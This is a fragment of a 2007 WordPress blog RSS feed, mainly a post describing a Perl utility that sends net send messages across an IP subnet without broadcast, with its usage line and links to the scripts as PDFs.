/>]]></content:encoded>
			<wfw:commentRss>http://ddsi.wordpress.com/2007/06/06/old-brocade-switch-performance-monitoring/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9b2ad4f03a41feb07155229204d3b0ac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dxs</media:title>
		</media:content>

		<media:content url="http://ddsi.files.wordpress.com/2007/06/brocade.png" medium="image">
			<media:title type="html">Brocade switch port performance</media:title>
		</media:content>
	</item>
		<item>
		<title>Avoiding Netsend broadcast</title>
		<link>http://ddsi.wordpress.com/2007/06/06/avoiding-netsend-broadcast/</link>
		<comments>http://ddsi.wordpress.com/2007/06/06/avoiding-netsend-broadcast/#comments</comments>
		<pubDate>Wed, 06 Jun 2007 20:52:16 +0000</pubDate>
		<dc:creator>ddsi</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ddsi.wordpress.com/2007/06/06/avoiding-netsend-broadcast/</guid>
		<description><![CDATA[Here&#8217;s a small utility to send net send messages to recipients by IP block avoiding broadcast/multicast. Usage: netsend.pl --iptype={subnet&#124;address} [--verbose] &#60;address&#124;subnet&#62; Please fill subnet in form of CIDR : X.X.X.X/XX At the end of the run it gives a summary of Ips delivered/failed. I have created it to overcome one problem in an environment where [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=3&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a small utility to send <strong>net send</strong> messages to recipients by IP block avoiding broadcast/multicast. <code><br />
<font color="#333399"> Usage: netsend.pl --iptype={subnet|address} [--verbose] &lt;address|subnet&gt;<br />
Please fill subnet in form of CIDR : X.X.X.X/XX</font></code></p>
<p>At the end of the run it gives a summary of  Ips delivered/failed. I have created it to overcome one problem in an environment where messages to users were sent via net send ( manually ! ).</p>
<p>Since I was at it, CGI interface is included as well.</p>
<p>As I think of it, this may be used as footprinting workstations being able to receive the messages. I should try that next time <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>P.S. I cannot upload tarball <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  So I have scanned 3 files:</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/netsend.pdf" title="Netsend.pl">Netsend.pl</a>  netsend.pl</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/netsend-cgi.pdf" title="Netsend.cgi">Netsend.cgi</a>   netsend.cgi and</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/netsend-lgr.pdf" title="Netsend.lgr">Netsend.lgr</a>   netsend.lgr in PDF format.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ddsi.wordpress.com/3/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ddsi.wordpress.com/3/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ddsi.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ddsi.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ddsi.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ddsi.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ddsi.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ddsi.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ddsi.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ddsi.wordpress.com/3/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=3&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ddsi.wordpress.com/2007/06/06/avoiding-netsend-broadcast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9b2ad4f03a41feb07155229204d3b0ac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dxs</media:title>
		</media:content>
	</item>
	</channel>
</rss>
